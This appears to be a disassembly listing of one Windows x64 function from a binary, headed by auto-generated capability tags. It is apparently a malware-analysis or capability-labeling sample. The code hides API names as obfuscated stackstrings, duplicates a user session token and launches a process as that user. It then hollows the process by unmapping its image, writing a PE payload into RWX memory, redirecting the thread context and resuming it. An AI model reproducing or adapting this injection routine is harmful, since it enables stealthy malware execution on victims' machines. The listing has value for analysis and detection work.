Function at 0x140068330
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create a process with modified i/o handles and window
Create process on windows
Execute shellcode via indirect call
Link many functions at runtime
Parse pe header
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov rax, qword [0x14009d810]
xor rax, rsp
mov qword [rbp + 0xa0], rax
xor r13d, r13d
mov r12, r8
mov r15, rdx
mov r14, rcx
xor sil, sil
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x78], r13
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
xor edx, edx
lea ecx, [rdx + 2]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
cmp rax, 0xffffffffffffffff
je 0x140068875
lea rdx, [rsp + 0x60]
mov r8, rax
mov ecx, ebx
call fcn.1400688b0
test al, al
je 0x140068875
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140068875
lea rax, [rsp + 0x68]
lea r9d, [r13 + 2]
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov edx, 0x2000000
mov qword [rsp + 0x68], r13
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x140068865
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x78]
xor r8d, r8d
call qword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
je 0x14006883d
lea rcx, [rbp + 0x28]
mov dword [rbp + 0x2c], 0x32336c65
mov word [rbp + 0x29], 0x7265
mov dword [rbp + 0x30], 0x6c6c642e
mov byte [rbp + 0x28], 0x4b
mov byte [rbp + 0x2b], WSASetLastError
mov byte [rbp + 0x34], r13b
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x1400688a3
lea rdx, [rbp + 0x88]
mov rcx, rax
mov dword [rbp + 0x88], 0x64616552
mov dword [rbp + 0x8e], 0x7365636f
mov dword [rbp + 0x93], 0x6f6d654d
mov word [rbp + 0x97], 0x7972
mov byte [rbp + 0x92], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x99], r13b
mov word [rbp + 0x8c], 0x7250
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x70]
mov rcx, rbx
mov dword [rbp + 0x75], 0x64616572
mov dword [rbp + 0x7d], 0x747865
mov dword [rbp + 0x79], 0x746e6f43
mov qword [0x1400a0f50], rax
mov dword [rbp + 0x70], 0x54746547
mov byte [rbp + 0x74], 0x68
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x48]
mov rcx, rbx
mov dword [rbp + 0x4b], 0x6c617574
mov word [rbp + 0x50], 0x6c6c
mov dword [rbp + 0x53], 0x784563
mov qword [0x1400a0f48], rax
mov word [rbp + 0x49], 0x7269
mov byte [rbp + 0x52], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x48], 0x56
mov byte [rbp + 0x4f], 0x41
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x18]
mov rcx, rbx
mov dword [rbp + 0x21], 0x636f6c
mov qword [0x1400a0f40], rax
mov word [rbp + 0x18], 0x6956
mov dword [rbp + 0x1b], 0x6c617574
mov byte [rbp + 0x1a], WSACleanup
mov word [rbp + 0x1f], 0x6c41
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp]
mov rcx, rbx
mov word [rbp + 4], 0x5065
mov qword [0x1400a0f20], rax
mov word [rbp + 0xd], 0x6d65
mov word [rbp + 0xa], 0x7373
mov word [rbp + 7], 0x636f
mov dword [rbp], 0x74697257
mov dword [rbp + 0xf], 0x79726f
mov byte [rbp + 6], WSACleanup
mov byte [rbp + 0xc], Ordinal_79
mov byte [rbp + 9], 0x65
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x58]
mov rcx, rbx
mov dword [rbp + 0x5f], 0x6f436461
mov dword [rbp + 0x64], 0x74786574
mov dword [rbp + 0x58], 0x54746553
mov qword [0x1400a0f38], rax
mov byte [rbp + 0x68], r13b
mov word [rbp + 0x5c], 0x7268
mov byte [rbp + 0x5e], 0x65
mov byte [rbp + 0x63], WSASetLastError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x38]
mov rcx, rbx
mov word [rbp + 0x39], 0x7365
mov qword [0x1400a0f30], rax
mov word [rbp + 0x3f], 0x7268
mov word [rbp + 0x3c], 0x656d
mov word [rbp + 0x42], 0x6461
mov byte [rbp + 0x41], 0x65
mov byte [rbp + 0x3b], 0x75
mov byte [rbp + 0x38], 0x52
mov byte [rbp + 0x3e], 0x54
mov byte [rbp + 0x44], r13b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a0f28], rax
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x14006883d
movsxd rdi, dword [r14 + 0x3c]
add rdi, r14
cmp dword [rdi], 0x4550
jne 0x14006883d
lea rdx, [rbp - 0x80]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
movzx ecx, word [rdi + 4]
mov eax, dword [rbp - 0x80]
mov edx, 0x14c
cmp cx, dx
jne 0x14006863b
test eax, eax
jne 0x1400688a3
mov edx, 0x8664
cmp cx, dx
jne 0x14006864e
cmp eax, 6
jne 0x1400688a3
xor eax, eax
lea rcx, [rbp - 0x70]
xor edx, edx
lea r8d, [rax + 0x68]
mov qword [rbp], rax
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
call fcn.1400467a0
mov rcx, qword [rsp + 0x68]
lea rax, [rbp]
xor r9d, r9d
mov r8, r12
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x70]
mov rdx, r15
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov dword [rbp - 0x70], 0x68
mov dword [rbp - 0x34], 0x101
mov word [rbp - 0x30], r13w
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
je 0x14006883d
mov edx, 8
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rdx - 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov r13, rax
mov dword [rax + 0x30], 0x100002
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rbp]
test eax, eax
je 0x140068835
mov rdx, qword [r13 + 0x88]
xor r12d, r12d
lea r8, [rsp + 0x70]
lea r9d, [r12 + 8]
add rdx, 0x10
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtUnmapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rbp]
call rax
mov r8d, dword [rdi + 0x50]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rbp]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rbp]
mov r15, rax
test rax, rax
je 0x14006882b
mov r9d, dword [rdi + 0x54]
mov r8, r14
mov rdx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rdi + 0x14]
mov esi, r12d
cmp r12w, word [rdi + 6]
jae 0x1400687dd
lea rbx, [rdi + 0x2c]
add rbx, rax
nop dword [rax]
mov r8d, dword [rbx]
mov edx, dword [rbx - 8]
mov r9d, dword [rbx - 4]
mov rcx, qword [rbp]
add r8, r14
add rdx, r15
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rdi + 6]
inc esi
lea rbx, [rbx + 0x28]
cmp esi, eax
jl 0x1400687b0
mov rdx, qword [r13 + 0x88]
mov rcx, qword [rbp]
lea r8, [rsp + 0x70]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [rdi + 0x28]
mov rdx, r13
add rax, r15
mov qword [r13 + 0x80], rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov sil, 1
jmp 0x140068840
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140068840
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor r12d, r12d
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x140068850
call qword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140068865
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x68], r12
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140068875
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, sil
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.140042af0
mov rbx, qword [rsp + 0x208]
add rsp, 0x1b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
xor al, al
jmp 0x140068879